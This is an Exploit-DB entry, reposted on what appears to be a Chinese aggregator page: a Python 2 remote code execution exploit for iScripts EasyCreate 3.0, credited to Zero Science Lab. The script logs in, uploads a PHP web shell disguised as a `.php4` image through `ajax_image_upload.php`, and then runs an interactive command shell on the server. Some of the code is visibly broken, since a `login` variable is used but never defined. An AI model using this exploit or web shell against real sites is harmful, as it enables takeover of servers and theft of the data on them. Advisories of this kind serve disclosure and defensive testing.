iScripts EasyCreate 3.0 – Remote Code Execution

Exploit Database
117 阅读

作者： Bikramaditya Guha

日期： 2016-02-01
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39387/

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#!C:/Python27/python.exe -u

# iScripts EasyCreate 3.0 Remote Code Execution Exploit

# Vendor: iScripts.com

# Product web page: http://www.iscripts.com

# Affected version: 3.0

# Summary: iScripts EasyCreate is a private label online website builder. This

# software allows you to start an online business by offering website building

# services to your customers. Equipped with drag and drop design functionality,

# crisp templates and social sharing capabilities, this online website builder

# software will allow you to provide the best website building features to your

# users.

# Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code

# execution. The vulnerability is caused due to the improper verification of

# uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST

# parameter. This can be exploited to execute arbitrary PHP code by uploading

# a malicious PHP script file with '.php4' extension (to bypass the '.htaccess'

# block rule) that will be stored in '/uploads/siteimages/thumb/' directory.

# Tested on: Apache

# MySQL 5.5.40

# Vulnerability discovered by Bikramaditya 'PhoenixX' Guha

# Zero Science Lab - http://www.zeroscience.mk

# Macedonian Information Security Research And Development Laboratory

# Advisory ID: ZSL-2016-5297

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5297.php

# 17.11.2015

version = '3.0'

import itertools, mimetools, mimetypes

import cookielib, urllib, urllib2, sys

import logging, os, time, datetime, re

import requests, httplib

from colorama import Fore, Back, Style, init

from cStringIO import StringIO

from urllib2 import URLError

global file

file = 'abcde2'

init()

if os.name == 'posix': os.system('clear')

if os.name == 'nt': os.system('cls')

piton = os.path.basename(sys.argv[0])

def bannerche():

print '''

@-------------------------------------------------------------@

|iScripts EasyCreate 3.0 Remote Code Execution Exploit|

|ID: ZSL-2016-5297|

@-------------------------------------------------------------@

'''

if len(sys.argv) < 1:

print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n'

print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n'

sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]

cj = cookielib.CookieJar()

opener2 = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET

opener2.open('http://'+host+'/easycreate/demo/login.php')

print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')

password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({

'vuser_login' : username,

'vuser_password' : password,

})

auth = login.read()

if re.search(r'Invalid username and', auth):

print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET

sys.exit()

else:

print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET

response = opener2.open('http://'+host+'/easycreate/demo/usermain.php?succ=msg')

output = response.read()

for session in cj:

sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))

cookie = ses_chk.group(0)

print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

class MultiPartForm(object):

def __init__(self):

self.form_fields = []

self.files = []

self.boundary = mimetools.choose_boundary()

return

def get_content_type(self):

return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):

self.form_fields.append((name, value))

return

def add_file(self, field_name, filename, fileHandle, mimetype=None):

body = fileHandle.read()

if mimetype is None:

mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'

self.files.append((field_name, filename, mimetype, body))

return

def __str__(self):

parts = []

part_boundary = '--' + self.boundary

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"; filename="%s"' % \

(field_name, filename),

'Content-Type: application/x-msdownload',

'',

body,

]

for field_name, filename, content_type, body in self.files

)

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"' % name,

'',

value,

]

for name, value in self.form_fields

)

flattened = list(itertools.chain(*parts))

flattened.append('--' + self.boundary + '--')

flattened.append('')

return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()

form.add_file('userImages', 'abcde2.php4',

fileHandle=StringIO('<?php system(\$_GET[\\\'cmd\\\']); ?>'))

request = urllib2.Request('http://'+host+'/easycreate/demo/ajax_image_upload.php')

request.add_header('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0')

request.add_header('Referer', 'http://'+host+'/easycreate/demo/gallerymanager.php')

request.add_header('Accept-Language', 'en-US,en;q=0.5')

body = str(form)

request.add_header('Content-type', form.get_content_type())

request.add_header('Connection', 'keep-alive')

request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')

request.add_header('Accept-Encoding', 'gzip, deflate')

request.add_header('Cookie', cookie)

request.add_header('Content-length', len(body))

request.add_data(body)

request.get_data()

urllib2.urlopen(request).read()

print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

response = opener2.open('http://'+host+'/easycreate/demo/gallerymanager.php')

output = response.read()

for line in output.splitlines():

if file in line:

filename = str(line.split("=")[2:])[3:84]

print filename

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET

raw_input()

while True:

try:

cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)

execute = opener2.open(filename+'cmd='+cmd)

reverse = execute.read()

print reverse

if cmd.strip() == 'exit':

break

except Exception:

break

sys.exit()